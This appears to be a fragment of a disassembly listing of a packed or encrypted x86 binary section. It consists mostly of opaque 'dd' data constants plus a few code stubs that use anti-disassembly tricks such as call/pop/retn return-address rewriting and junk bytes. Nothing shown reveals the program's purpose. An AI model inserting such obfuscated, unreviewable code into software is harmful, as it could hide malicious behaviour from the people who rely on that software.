		dd 0D5C32900h, 0D0EC921Fh, 0EB9860F6h, 59FA3FEAh, 239CD120h
		dd 1A63F09Dh, 97239CD1h, 290F1FEAh, 7E8931CEh, 0BF507077h
		dd 40D61BCEh, 0B2010CB1h, 0B425A4F8h, 0E5A283ACh, 9200000Dh
		dd 9B3AE22Fh, 0BD28DC33h, 9134E81Bh, 0C027DD28h, 0DB39EB1Ch
		dd 36D1F9A6h, 605E70Eh,	35D4F7DEh, 607E80Fh, 1843F4DEh
		dd 2393FE65h, 0CECB6DE2h, 7452E946h, 0BE5D34D1h, 299614BBh
		dd 70864B38h, 13862F4h,	1F2FD4F6h, 36790112h, 7F42F8Fh
		dd 9F3CA186h, 10C9CC3Bh, 0DA2023D9h, 984AE82Ch,	0A84EBD1Fh
		dd 570426BCh, 0FC51B726h, 0D5F9E6A3h, 0EF4AEF3Ah, 51B71964h
		dd 45E996FCh, 0AB14EEBh, 41A98EFFh, 7FEB0BC6h, 0CB88B1E9h
		dd 24ACC7Bh, 7534B966h,	25A8658Ah, 0AB13E274h, 2557BD64h
		dd 0DE5212F1h, 6BCC6688h, 9EF48596h, 866AF658h,	94361589h
		dd 0C894BA6Fh, 21EED25Eh, 0A5DB31E8h, 0CB3E9D33h, 1C8E14E9h
		dd 43D33AA3h, 6EC94BF6h, 0F9A1EDF9h, 6EC487A7h,	81FC5203h
		dd 2DA06D52h, 56ADF95Fh, 0BF0A5050h, 2E8CF0Ah, 0E2DD8C01h
		dd 0E6FF0FFCh, 6060185Dh, 0B542F7F0h, 17D313h, 0C3C3FB30h
		dd 3CD2870Eh, 0E2DD91BDh, 0D1880DFAh, 0A814C83Dh, 0F8D17419h
		dd 33000001h, 818C31CEh, 4B67F16Dh, 96856D10h, 0F43DEA29h
		dd 0A76C0E4Dh, 8E72F8Fh, 0F8B124E5h, 2FDBC31h, 0CE1D31DEh
		dd 8EEF2CF1h, 0B239D63h, 831D31Eh, 0E708C9EFh, 2FFAAF26h
		dd 6330490Ah, 0F0AD239Dh, 0C22E8F5Eh, 0A8B464A9h, 0FE23EE26h
		dd 7651843h, 25E2239Dh,	0F512BAh, 37DC0529h, 4AE841C3h
		dd 0DA94C2B5h, 890CFFDDh, 0EAF3ED0h, 9A1BEECDh,	80F91ABFh
		dd 0FDFC51CCh, 0F613C900h, 0CC6D104Bh, 0F625FC51h, 0FC51CC83h
		dd 0E6A30300h, 0C134CFF9h, 46A746E8h, 9C23C6C7h, 0ADFD62Fh
		dd 69561E4h, 0A811239Dh, 6A4F585Dh, 0B4831A9Bh,	0AB62F8A6h
		dd 0E808EFBFh, 7E80727h, 0CC20E9D4h, 0E305716Ch, 2DD41DCEh
		dd 0EDE02D92h, 0B5201A3Ch, 0B34CF518h, 0DC8D0007h, 0A039B13Ah
		dd 8E30C772h, 4D6F787Dh, 0A76237BEh, 3069AA87h,	0A8D506F0h
		dd 0EFB7C251h, 4734D506h, 0BA354FA7h, 5514C972h, 536C955Ch
		dd 0A28CA269h, 0DE9FBC85h, 96D50745h, 745F485h,	52B471D5h
		dd 33A5C155h, 3EF316B5h, 38D1FC03h, 0E552E4B5h,	593436h
		dd 27D2CFDBh, 0D4D92A90h, 0EFF8F105h, 5BAE0DCEh, 66876E96h
		dd 89B05375h, 0E31AFCAh, 0BA6F2CCFh, 32059033h,	91AECF0Eh
		dd 4B42C726h, 0A8B846Ch, 85749A4Fh, 0B36A5359h,	0D6659E4Ch
		dd 0CF0E31A3h, 31BDC05Bh, 4D3ACF0Eh, 0BF65AC59h, 626AAB74h
		dd 34981F43h, 0BD2743D3h, 0A04BB46Dh, 8C6BC569h, 0B1527863h
		dd 31A46D3Ch, 0BC4B6F88h, 676E9543h, 80A99CB2h,	0CE101A0h
		dd 0A03D2F3Bh, 9D4BB46Dh, 0DBE98049h, 0DB16EA5Eh, 45EFFFDAh
		dd 0F44FF0E4h, 0E2EE88DAh, 9B409D4Ch, 0E2DADB32h, 0DE052D18h
		dd 1ACF1A7Dh, 0F9FED693h, 0D590146Eh, 22B4B046h, 5BF841F8h
		dd 0D471A522h, 0D6D73898h, 50E6A303h, 0C35A38E3h, 0F0ADDA6Ah
		dd 59A74Ch, 0FFD90000h,	4B083169h, 2F8FA64Bh, 50AE6D1h
		dd 6EA09F1h, 0EACDC009h, 0E7D00906h, 349C0302h,	0EFFFDADBh
		dd 8DBAB745h, 0B168BA23h, 9D5EDFA2h, 4A708723h,	7A6534B9h
		dd 58A0B653h, 6E9744BBh, 0D8A1B267h, 55239D5Eh,	25C944A8h
		dd 0C0C01698h, 75822709h, 0AE578459h, 8C6DD363h, 0C672AA63h
		dd 44CF0A50h, 2F8F9DF6h, 0CF23CB34h, 515A4F0Dh,	0DDD01957h
		dd 2512EA0Ch, 75493AAFh, 3FDC1A44h, 239CDA3Eh, 0DE03CEBBh
		dd 9E0FFAE1h, 330E2BCBh, 0E5E821CCh, 0E8D32234h, 0CC9A0D04h
		dd 10B0A8ACh, 16DB8EFFh, 694D30EBh, 0DDCA239Dh,	0E605F014h
		dd 69552833h, 0D5D2239Dh, 0E7D0991Ch, 9963EA06h, 9506CDD2h
		dd 6E80595Ch, 0D62164F2h, 0A763F58Ch, 74CD74BDh, 9CB696E7h
		dd 161323h, 0CADE2833h,	7B842995h, 629ABC53h, 96C57CA5h
		dd 1DA3A1E3h, 923CA360h, 91A57479h, 0B1CEAB58h,	718E1DA3h
		dd 322EC04Bh, 7EC37EA4h, 28AD5881h, 0C46ADD71h,	12239CBBh
		dd 9770FEBAh, 0CE604374h, 0AFCA8926h, 2C17AA53h, 9033BA6Fh
		dd 17AA53E9h, 35113DC8h, 5CC36FBBh, 0BF48748Bh,	35E61BCEh
		dd 17AA4744h, 0F632C4C1h, 46h, 0E873CE50h, 29968595h, 65011512h
		dd 0C772A7F3h, 9685F18Ch, 9DB16E29h, 0A6636990h, 9A2E81B7h
		dd 0A1F154FAh, 0EC2F8F8Bh, 0AA2BDEFDh, 26EB1EBDh, 0F4F914B9h
		dd 0DF35EC25h, 0D5E04167h, 647D9111h, 3581h, 69FFBF00h
		dd 0CEEF0831h, 85B9C44Fh, 49362996h, 635C0D80h,	4821947Bh
		dd 89B089A6h, 9685AFCAh, 0DF6F2C29h, 8F9ADA6Ch,	5A0C002Fh
		dd 0FDBC97DCh, 1FEF618h, 638CF48Ch, 0A383488Dh,	74BD4A07h
		dd 25C801A7h, 857081B4h, 8FCh, 19CB46A9h, 47FD12AEh, 13C93AA0h
		dd 46FE07B4h, 18CC3B9Fh, 0F4D887FAh, 0E806F113h, 0F7D60123h
		dd 0E20BEA12h, 2ECBF92Bh, 93F98CEDh, 0A4640923h, 95E873CEh
		dd 12299685h, 5B570115h, 31E832A4h, 0F91E5EDBh,	1C3203E6h
		dd 0ECCDEA0Fh, 0BC52F519h, 0F2F8ECCh, 0F0D0E712h, 5BFBAE1Fh
		dd 757049EAh, 51A8E5E3h, 55C0B7C2h, 50473461h, 0E975996Ah
		dd 5DFE237Fh, 674EE731h, 0A0D97ABFh, 1D5B5C98h,	8926CE60h
		dd 9FBC516Eh, 5B5C98DEh, 8D31AE5Bh, 0A3464782h,	5F56AF1Ch
		dd 52977858h, 0CF36A0BCh, 143F8E55h, 5B5D3E69h,	3BD339E6h
		dd 31E82162h, 566CBD22h, 88B16E61h, 0B2CB88B1h,	285563F7h
		dd 896343C4h, 0D49B8140h, 45E92057h, 79A749A6h,	55C5269Eh
		dd 2FD24EDh, 0F1A82DDAh, 0C936D35Dh, 33E6E722h,	46E821CCh
		dd 399546A7h, 92C01BD6h, 0A66017BBh, 802A88Dh, 10AF0000h
		dd 0D4FCDB01h, 0FCDE093Bh, 0C9F2D507h, 0FDDD083Ch, 0C140D20Ah
		dd 27DD2A92h, 37ED1EC0h, 28DC2D90h, 37ED20BDh, 4E2FEC8Dh
		dd 0CB2393F8h, 638C6226h, 0EFEB048Dh, 2DE41568h, 252336CEh
		dd 0E0C5EEB4h, 7BCh, 598B8669h,	87BD526Eh, 53897A60h, 86BE4774h
		dd 588C7B5Fh, 0B41847BAh, 0A846B153h, 0B716C163h, 0A24BAA52h
		dd 6E0BB96Bh, 93F7CCADh, 0E4A44923h, 99BA638Ch,	299685E0h
		dd 86027B98h, 827F2996h, 57785F1Ch, 9F6A3FB6h, 0E5EE927Ah
		dd 0F5875FD7h, 84128861h, 765EA35Eh, 0E3457AB8h, 0D6799D1Ah
		dd 2F9859F4h, 39CCED0Ah, 0ED1852D3h, 0BE5060F8h, 0BFBA5936h
		dd 3C239330h, 799A3Fh, 7D239331h, 27904980h, 82AC42C1h
		dd 57B41AA5h, 72CD6656h, 25FD4948h, 881E4AECh, 0B010A752h
		dd 9BBB6E5Fh, 0D57D7D9Eh, 0BF8298Bh, 702E9D6h, 0AA43D386h
		dd 99A65C19h, 86D43B1Dh, 0D3862CC0h, 0EFE946h, 0F13B0000h
		dd 7BA731C4h, 9E7995C6h, 32072F8Fh, 9D6D5821h, 7A031023h
		dd 0F7239D6Dh, 47E7940Ah, 9D9DD5AFh, 0D895E2A6h, 0FE4E811h
		dd 2CCF0AACh, 0EF2A1B3Bh, 0D361F81Dh, 0C668BBFCh, 0A39E1083h
		dd 0BA239CF2h, 67876253h, 0C356DFBh, 8E81FB4Fh,	22B3195Ah
		dd 5CCF5D5Ah, 4DC21E99h, 757D9148h, 6BA85188h, 4E9C0D12h
		dd 637C928Fh, 3961F7h, 1737D6F7h, 0D18CF91Ah, 932C5498h
		dd 1861F229h, 95489F47h, 0E50D21E8h, 0BF380138h, 0AA49ED1Ch
		dd 0A611C845h, 0E02F8F46h, 61F5A429h, 4C0732D7h
		dd 489F4731h, 8E5DF1AEh, 0C340AA31h, 1D217D2h, 54D29D41h
		dd 41C9ACC5h, 0EE000006h, 0DF063ED3h, 9EC10FFh,	0D50024DFh
		dd 0CEB11F4h, 1FF527E0h, 0F215B5E2h, 0CA41AB4Ah, 108B312h
		dd 3AD3FCDBh, 0FC17E002h, 2393F681h, 8AA749FEh,	0D7h, 0E873CEB6h
		dd 29968595h, 65011512h, 0E172A7F3h, 2F9904D9h,	0C748A80Fh
		dd 27D2CF27h, 0E404E5D2h, 683784EAh, 0F8FD342Bh, 1DE0D21h
		dd 7E41B1EFh, 0DB164F0Ch, 0EC21BE29h, 17B740E9h, 1224F5F8h
		dd 337DC056h, 2AC9E0A2h, 49C62A95h, 73A05980h, 23941B0Ah
		dd 0B7749A87h, 8D247E9Ch, 1645FC29h, 1D9B1163h,	0EB1323E0h
		dd 1D3E033Eh, 1D9B115Ch, 0F8EB0FD9h, 1C41E204h,	0C881FFD5h
		dd 1F51E38Eh, 0C113D60Fh, 1AC6BEBDh, 92CE6099h,	0F823DE04h
		dd 2393CE8Ah, 0F01FBF38h, 0AE9965Eh, 0A5D14246h, 65989D96h
		dd 12000005h, 1BBA62AFh, 3DA85CB3h, 11B4689Bh, 40A75DA8h
		dd 5BB96B9Ch, 0B6517926h, 8685678Eh, 0B554775Eh, 8687688Fh
		dd 98C3745Eh, 2393F5E5h, 0CE4BED62h, 0B5B2A173h, 0C1CC4711h
		dd 95BC4732h, 37D7C429h, 95BC6914h, 0BC3E3B29h,	0B92F2995h
		dd 0BE54B861h, 51FF7BAAh, 0E724CA35h, 162333E6h, 597AE9EBh
		dd 0C5880B99h, 27AC1E31h, 68872F98h, 9C695285h,	4894019h
		dd 0E6FAC55h, 8B239329h, 5562539Eh, 0B0469578h,	54B226FEh
		dd 4D65A5Bh, 5C830000h,	88688FB5h, 48725587h, 7D5E89BBh
		dd 49715488h, 75AC86BEh, 0BB61A646h, 0A359B21Ch, 0CC709944h
		dd 9349C429h, 0B2CB8831h, 2F2393F4h, 638CF6BAh,	3FB65778h
		dd 0BC2E9F6Ah, 2A53002Ah, 0A7299685h, 2F0A2FFAh, 5CA28C8h
		dd 81187067h, 53E32Eh, 2F8EC09Eh, 0C63DAB14h, 214EFD9h
		dd 32D70DFAh, 82314C07h, 0F1AE239Ch, 0F9EAEA5Dh, 0E8EC81D8h
		dd 75322CE7h, 0C4F910A1h, 0A88F8EE8h, 0BE1ECD61h, 88349349h
		dd 696B0E7Fh, 9B4198BDh, 0A2049C70h, 821844EAh,	0B68BAC50h
		dd 6052D4A5h, 0AECF8CC5h, 2BC56052h, 7B9B887Eh,	8931CEC5h
		dd 85ACCD8Eh, 7C292996h, 0C56940B5h, 0A912C926h, 4980595Ch
		dd 0CFAA6990h, 4C299685h, 4126BF4Fh, 9FCB719Ch,	8F28D109h
		dd 0C83FAB2Ch, 39DD14C5h, 13BA45FCh, 42AFFF6h, 8FB6FD41h
		dd 29942B2Fh, 0F9A64EE0h, 532A4FF4h, 0FE09239Dh, 6B7AF6D0h
		dd 0C24A48D6h, 0BD29BD3Ch, 0DF35D631h, 2911C00h, 6BFB27C7h
		dd 46000000h, 911D60FBh, 0ED9A239Ch, 69FFF349h,	0E34B0831h
		dd 392F8F97h, 722A5300h, 0FAA7239Dh, 64EF9C54h,	239D7219h
		dd 0FC82CC96h, 6EEAD6EFh, 758E3CA3h, 877039BCh,	0B98CA261h
		dd 239CAABCh, 982EA69Bh, 2EDF00FDh, 5B1AF2A7h, 116CA7ACh
		dd 8E239CCDh, 47B65891h, 0E4B12B1Bh, 0BC8548D6h, 9CC0DE9Fh
		dd 88AE5B23h, 1089Ch, 638C6600h, 798623AAh, 6435B853h
		dd 50B723D2h, 0A8755A5Dh, 9686126Bh, 57928F29h,	50B315A2h
		dd 9D4225BEh, 0CF85CC70h, 0D129968Ah, 8C0106E6h, 15BA39DDh
		dd 16B641F8h, 36D35DF1h, 0AA889BDEh, 0D97D3755h, 0B83BB51Ah
		dd 388ED75Ah, 0E9D60BC6h, 0DA8F0601h, 0A93FAB34h, 8671C871h
		dd 0E697A469h, 63299639h, 39D4A5B6h, 54512996h,	4FBC229Dh
		dd 71E172BFh, 3C2F8F4Fh, 9059AC0Dh, 0FE6AFC6Ch,	0F5A429DEh
		dd 0EB26E30Ah, 57C6DE36h, 0E06E447Fh, 2E32E14Eh, 0DD299932h
		dd 0DEFEF920h, 0E91EBE39h, 532635E4h, 0D01DA14Ah, 78DBFDB6h
		dd 0F0396FDDh, 0ED24E307h, 0DB2C9037h, 0D0856C00h, 9A9B94BFh
		dd 294h, 0D1739E41h, 9F45CA26h,	0CB719238h, 9E46BF2Ch
		dd 0D0749337h, 5C803F72h, 704E79ABh, 5F7E699Bh,	6A5372AAh
		dd 0A65381A3h, 93F30475h, 2CCC8123h, 75A7608Ch,	79A06D52h
		dd 23AA5F7Eh, 0A6618976h, 5AD47A2Fh, 0DD46CEC4h, 0AC2878EAh
		dd 6C1C5DFEh, 0EC992996h, 0C3551125h, 7C976297h, 29966D01h
		dd 40B55477h, 0F887569h, 61CE60AFh, 8F7F78B2h, 1F96932Fh
		dd 9D5A0574h, 3D29E423h, 0D6719749h, 1D9A5F48h,	96434ABDh
		dd 9D4DF485h, 0A2B47123h, 11086h, 638C6000h, 405CB38Dh
		dd 33FEB3A8h, 4FD2060Eh, 0C49000Bh, 0EB47AEA8h,	0DC720EDAh
		dd 70596603h, 0C2483778h, 0CC5C4BDh, 2E7D089h, 0D804F303h
		dd 19FBBE2Fh, 53DA19E1h, 59FA1F22h, 29961220h, 0FB4EE09Dh
		dd 2996175Dh, 9677585Fh, 45A44A1Fh, 85BC65A8h, 960DA3D6h
		dd 0D3632029h, 0AC617E69h, 0DE27B129h, 0B5DA046Bh, 0CD74BD39h
		dd 59808D32h, 9649BFBAh, 0AF3F3C29h, 5F81D182h,	4F4C2F8Fh
		dd 5AAD0DAAh, 6B8B7E5Dh, 0D30F99D1h, 0E02B912Eh, 1D1A3CEDh
		dd 992403FEh, 0A914AB29h, 9ABC6D60h, 0C2497362h, 5E5D207h
		dd 9A8281E5h, 0DE1342D7h, 0D9329C23h, 47F105D4h, 0F0CB3CA0h
		dd 0BFD0C686h, 3994A192h, 0E6000001h, 0F7DE060Bh, 0E10438D7h
		dd 0EDD80CF7h, 0E40339CCh, 57ED0FF8h, 0CA3D9DDAh, 209B312h
		dd 39D0FBDAh, 12FBE403h, 242F08EAh, 2393F159h, 8CCF71D6h
		dd 5275A760h, 7E79A06Dh, 7524A95Eh, 87B257E1h, 9685B1CCh
		dd 0DD712E29h, 0AA638C57h, 1AE09D6Fh, 1AF942EBh, 95B980F9h
		dd 0C900FD29h, 12BBBC25h, 46CE46FBh, 2D8D1F35h,	8D44C725h
		dd 0D9BCF69h, 0EAD52CD5h, 5FF20401h, 2F989C5Bh,	0CAB36099h
		dd 5523939Dh, 4F36D10Dh, 0AE5B4BF7h, 98C37088h,	2393A7E5h
		dd 696CA562h, 729137C0h, 8C31AE7Bh, 617E6D81h, 92D6558Fh
		dd 0D8A3450h, 6D945DB0h, 4D6D6C52h, 0AB6633BAh,	55DF6F2Ah
		dd 0CDC04D72h, 0B57D2046h, 9553262h, 0ABCC6F65h, 0BAB615Bh
		dd 2AE30CEBh, 23EAD3F2h, 213207B2h, 0E4728B58h,	0E70628D5h
		dd 2CA5E602h, 0CE5D7870h, 1089203h, 17F6D7D5h, 180BEAE2h
		dd 36259C2Ah, 1BF11620h, 0CC839454h, 0D9EC1BDCh, 0B9C2A408h
		dd 22E724CAh, 0D00DD0Ch, 0B02EBD4h, 0A63FCF8Ah,	17BFh
		dd 0DCFDFA00h, 0CE2F0529h, 8595E873h, 0E3122996h, 0CD9C11F8h
		dd 0C086F204h, 29AC658Ch, 696CA13Eh, 23AA5F7Eh,	7C719A44h
		dd 35B84F7Bh, 787D8A32h, 3ABB4A6Fh, 75788B2Dh, 0CCC14E72h
		dd 5E10681Bh, 0C890000h, 76556824h, 3C890000h, 1BDD6824h
		dd 0C890000h, 2A09BF24h, 687DFFh, 29000000h, 4F5F243Ch
		dd 0C102EFC1h, 0EF8105E7h, 0A042F9Eh, 40F868h, 24248900h
		dd 4240481h, 59000000h,	4EC81h,	3C890000h, 8418F24h, 592434FFh
		dd 4C481h, 3C8B0000h, 0E7895724h, 4C781h, 0C7810000h, 4
		dd 5C243C87h, 0F6E895E9h, 0E050A7FFh, 0FD744458h, 0D18B1270h
		dd 4B8B0DCh, 3060296h, 8AE0FFC5h, 4F49042Dh, 2E4539D8h
		dd 0FD4160E8h, 0F210CBFEh, 601B42E2h, 1B652FAFh, 502D2042h
		dd 74437FFAh, 0B902A25Dh, 9D38FBACh, 8D480A59h,	297568Dh
		dd 0BD01FC06h, 5F92BE1h, 0CDD8D89h, 6A05F9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F947AC3h
		dd 0D816C6F0h, 99ECE5Dh, 0F93129BDh, 0C185C705h, 0AC05F926h
		dd 6A000071h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 9CE0C353h, 0ED9D012Eh,	0C705F92Dh
		dd 0F900FD85h, 5, 6880F00h, 8B000000h, 0F921F9B5h, 99B5FF05h
		dd 0F805F917h, 20D595FFh, 8D2905F9h, 5F90A61h, 95FF006Ah
		dd 5F91AEDh, 68EBC08Bh,	0F33E03A5h, 0CBB6E9EAh,	990EEF2h
		dd 55251F25h, 0B907AFB6h, 0EDF738BEh, 2D25E73Ah, 0FB275666h
		dd 308E5F40h, 0F1EED5F2h
		dd 0EF18B2BDh, 7499A94Eh, 72635F0h, 6C7DC276h, 43AA2A48h
		dd 21AB4772h, 5EA79C27h, 0E32A333Bh, 21BE00ECh,	9908A23Ch
		dd 7401305h, 13042660h,	0CAFFEA51h, 4A66C989h, 0A61F500Ch
		dd 69F162DFh, 98A08D8Dh, 6A0602h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 817FDEC3h, 815DEEC9h
		dd 0BBB8A1CAh, 0DD8D8963h, 2905F90Ch, 0F92E9D9Dh, 0C185C705h
		dd 2405F926h, 6A000066h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0AFCC353h, 2129C9C2h
		dd 20099589h, 85C705F9h, 5F900FDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_604E2F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_604E2F	proc near		; CODE XREF: .XComp0:00604E27p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_604E2F	endp

; ---------------------------------------------------------------------------
		add	ebx, [edi]
		xor	esp, [eax+0Fh]
		mov	bh, 0D0h
		and	edi, [ebp+5F91111h]
		popa
		push	dword ptr [ebp+5F916DDh]
		push	0
		push	edx
		call	sub_604E5E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_604E5E	proc near		; CODE XREF: .XComp0:00604E56p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_604E5E	endp

; ---------------------------------------------------------------------------
		dw 721Dh
		dd 0E1B23C91h, 80152623h, 0FFF78B66h, 0F920D595h, 0E6816605h
		dd 6A24E3h, 1AED95FFh, 0C08B05F9h, 7D494BEBh, 848AA61h
		dd 0ECDBEE1Fh, 3D39D7B8h, 0EA714778h, 2D86E19Fh, 0CAA5F809h
		dd 6144B347h, 0A3F2BEB3h, 4BD1E09Fh, 0CE2733A6h, 0D2C5FC20h
		dd 61E00F04h, 5B3F87B7h, 0B2B49B3Eh, 19DBC189h,	6AE2D934h
		dd 71941453h, 259E70B9h, 0BC8D8DAEh, 6A060299h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0AD87C357h, 8D8928B2h, 5F90CDDh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0EBC35141h,	772531C0h, 261FD003h
		dd 0A59D89E9h, 0C705F909h, 0F926C185h, 727C05h,	2DBD0900h
		dd 0C705F91Eh, 0F900FD85h, 5, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0B32B27C6h
		dd 0DEB536E8h, 4BE9A0Fh, 0FF5867A9h, 0F90FD9B5h, 14E905h
		dd 5B540000h, 3A33CB7Dh, 0F87FBFEDh, 95CB1F4Bh,	0DA318F24h
		dd 95FF1D95h, 5F920D5h,	1421958Bh, 6A05F9h, 1AED95FFh
		dd 0C08B05F9h, 50400CEBh, 596D0723h, 0FCD87FDFh, 0FE94A5Dh
		dd 0A2000000h, 5D4BA7h,	2 dup(0)
		dd 30E90000h, 0A6000007h, 0B71EC64Bh, 0A144F817h, 0AD18CC37h
		dd 0A443F90Ch, 172DCF38h, 0AFDDD9Ah, 42C9F3D2h,	79903B9Ah
		dd 52BB24C3h, 0E46F48AAh, 2393EC99h, 8C0FB116h,	0B2537863h
		dd 32A36E3Bh, 8F30A545h, 85ACCD8Eh, 7C292996h, 0A06940B5h
		dd 6774597Ch, 25128382h, 995045C8h, 55149950h, 7157866Ah
		dd 38B75792h, 6E974497h, 75BC4771h, 808733CCh, 31BA5C0Dh
		dd 7448AA46h, 0CFE1DD6Eh, 20974287h, 3FA84EBFh,	82739438h
		dd 41B45775h, 0CF8FDBACh, 6F7D695Eh, 3944CF4Eh,	0B62995CFh
		dd 0CF3F3AD9h, 0BFBC2995h, 0D82B8D0Ah, 0E1E4E811h, 89F340EEh
		dd 46B18BABh, 40B762A7h, 0B0696C9Dh, 7263A247h,	3A9D97B7h
		dd 0A0BB8693h, 2995A9DDh, 0EB8EAD5Ah, 612995A9h, 51088D78h
		dd 0C079B06Dh, 0D6789737h, 6A536C0Dh, 7A6493A3h, 88D7C5Fh
		dd 75159851h, 97E271C8h, 142995A9h, 2A38C767h, 0B66E9B42h
		dd 0BA5FAE0Fh, 0A9A9D47Fh, 89262995h, 95A9AFCAh, 0BA6F2C29h
		dd 11AE4B94h, 95B85EA9h, 2995A9E1h, 74566186h, 52807F8Fh
		dd 0C3B6659Ch, 402995A9h, 0A9B5C853h, 75322995h, 0FB759ABCh
		dd 0CB4D2F81h, 0C0239349h, 0B0468760h, 9674h, 31CECE00h
		dd 96C57C87h, 299685E3h, 6493A360h, 215E757Bh, 0F089CAh
		dd 0B06D2996h, 7BFFF35Ch, 46748BB6h, 0A95099BDh, 8EBE1123h
		dd 8DA17469h, 9664BDBAh, 59856029h, 2F7CF36Dh, 0DD7EC34Dh
		dd 2996589Ch, 5ECA6C19h, 1, 79648CA8h, 6435B853h, 5D8B74ADh
		dd 0D47A2FA6h, 4BC42C0Bh, 80283E96h, 6B9BD565h,	0B41522CBh
		dd 28D15C51h, 0D9DC2B8Fh, 0FA7A2DE3h, 935EF4D4h, 98568483h
		dd 494CBB1Fh, 4F6F7E90h, 0D43A43D0h, 0CAB72995h, 0D5FADDFFh
		dd 0CE2A0438h, 8595E873h, 15122996h, 0BCAF201h,	0D8A429E0h
		dd 4A193120h, 864B865Dh, 15C8280Fh, 886154B7h, 0EDD84C41h
		dd 28DF0BE1h, 21ECD1F4h, 0E61DCBACh, 0B09E69EFh, 651843FEh
		dd 0DB29961Dh, 0C49518EFh, 0FC1125E2h, 4D2F3490h, 0C615h
		dd 608CEF00h, 658572A7h, 54538CA2h, 0B6EAD66h, 0C3299686h
		dd 9685E598h, 41A56229h, 6B548D44h, 5306877Eh, 0F6B32AC3h
		dd 20BB44Bh, 3C3DDE8Bh,	0C7299685h, 0F25F65h, 0F7A41A98h
		dd 0B2BAA857h, 0FD44FD0Ah, 95881B5Eh, 0F4EB9829h, 1E183EC7h
		dd 1F413B7h, 0EE1DBF38h, 0CD1C32E7h, 0F71EFCECh, 489A0CEBh
		dd 7F5F5881h, 6B0A73A0h, 9A872996h, 4126BF4Fh, 7A7D709Bh
		dd 0A53FB653h, 2ECA94C2h, 38CDEE09h, 0BFBE716h,	4D2F47A1h
		dd 7C06h, 73CEE000h, 968595E8h,	0F6251229h, 29968583h
		dd 28CE0300h, 0EFE621C9h, 0B124E508h, 0EDE025C6h, 0A528E50Ah
		dd 4B133F38h, 604C9A75h, 6B456E7Ch, 0B2EFACE0h,	0CE6BC577h
		dd 14D74946h, 35E6AC00h, 29959C44h, 0E90DC4C1h,	1A39E60Ah
		dd 29959C5Fh, 0E3EA1FDCh, 959C1A60h, 0CF349629h, 17F2D9DEh
		dd 22300796h, 0A168A54Ah, 945A885Fh, 4F46BD2Bh,	0DD8F749Ah
		dd 9A4D2FB4h, 1, 0A55E8C6Ch, 516E8930h,	2FA6638Ah, 509FAF7Ah
		dd 10179E6Fh, 50575EAFh, 8914996Ah, 64FEA0AEh, 25E8F5D7h
		dd 3915A313h, 44D9FBD3h, 5DF12385h, 0EBCB09Eh, 8D1B4FF5h
		dd 9D54BB23h, 68947064h, 58E099BAh, 0A05D2996h,	0EA0EA44Ch
		dd 0E712E744h, 95BF512Ch, 3DD1CE29h, 8EE1240Ah,	8F4A372Fh
		dd 4029C728h, 0ECC55BDEh, 0BD47AAFh, 0C744666Eh, 0C40FBCD1h
		dd 0C11AC332h, 0E7EE19h, 2DE42DDEh, 2EEFD0F7h, 9CE08CEDh
		dd 8EFF0923h, 2E6279B5h, 73AE63AEh, 0A54A26A1h,	35D99BDFh
		dd 9C5427ACh, 0ECCE239Ch, 29919617h, 9C4C2DEEh,	0DCC9239Ch
		dd 3A0DA015h, 91A6722Ch, 9CD2AB68h, 524F239Ch, 5D113DBCh
		dd 1D907D62h, 8A57684Ch, 964FECC2h, 8F4C7180h, 2D7DE2Dh
		dd 49A512C7h, 14EFD9C6h, 308D3802h, 3EDD24DDh, 239D5F3Bh
		dd 0D42F99B8h, 2DC108E1h, 8A1FF5B4h, 4BC845E0h,	6E4F9EB0h
		dd 5F7D7A9Fh, 0DE7029ACh, 4EBB2205h, 8C7D6047h,	0AEBC8B09h
		dd 3CC374F0h, 66A74893h, 0DF6F2AABh, 953A3220h,	4BB2CB88h
		dd 722F239Dh, 508A82B7h, 0A6678872h, 3A927A2Fh,	0A48EA0D7h
		dd 0D6E2815Bh, 1AB4648h, 0FFA00000h, 31083169h,	4DE126C6h
		dd 8F918CFAh, 0A115EF2Fh, 92E21A71h, 5382FB18h,	2FF239Dh
		dd 0AC8B02C7h, 0F512CA43h, 536E0F4Ch, 3EEB239Dh, 19F4D918h
		dd 0EAD594h, 37D79203h,	4BF617B8h, 531465F6h, 9491239Dh
		dd 1CEB6982h, 3AD920CEh, 239D523Fh, 0FBF215B5h,	2BCBB82Eh
		dd 2FEA23CCh, 5230490Ah, 0F0AD239Dh, 510BD45Eh,	1648D66Eh
		dd 86h,	1BF0CEE9h, 92FBF9Ah, 0C1865FFh,	0B23BA58Eh, 3AC4DF68h
		dd 0C40DD1A5h, 0D61BF2DBh, 0E22B942Bh, 1B183EEBh, 0EF10EEE6h
		dd 94705C1Dh, 508ECF82h, 2C4BA996h, 0A44548C1h,	96510677h
		dd 4B8683A9h, 0F9840F86h, 6FA99650h, 0EACDC04Fh, 76071401h
		dd 0F3A99650h, 0EFAFB36h, 6133EBF7h, 77657458h,	0A5CD3994h
		dd 0FB647291h, 67124161h, 0E4A995DCh, 0C47F237h, 2995DC51h
		dd 0AEB110Eh, 0B9h, 0E526C82Fh,	69FFEB51h, 0CDEF0831h
		dd 4CE2B73Eh, 3B9D1ADFh, 214C5C8h, 8F86374Fh, 3CE5A22Fh
		dd 0E7EE15C3h, 0E4C31C32h, 4DEA12FBh, 0BA34CC7h, 0E608AE0Ch
		dd 0A627E607h, 5C1D3E03h, 0D9239D6Eh, 31470A2Ch, 0B1239D6Fh
		dd 0EFF8FD08h, 0CC4E3FCEh, 734D113Dh, 17A04E9Ch, 34C353B2h
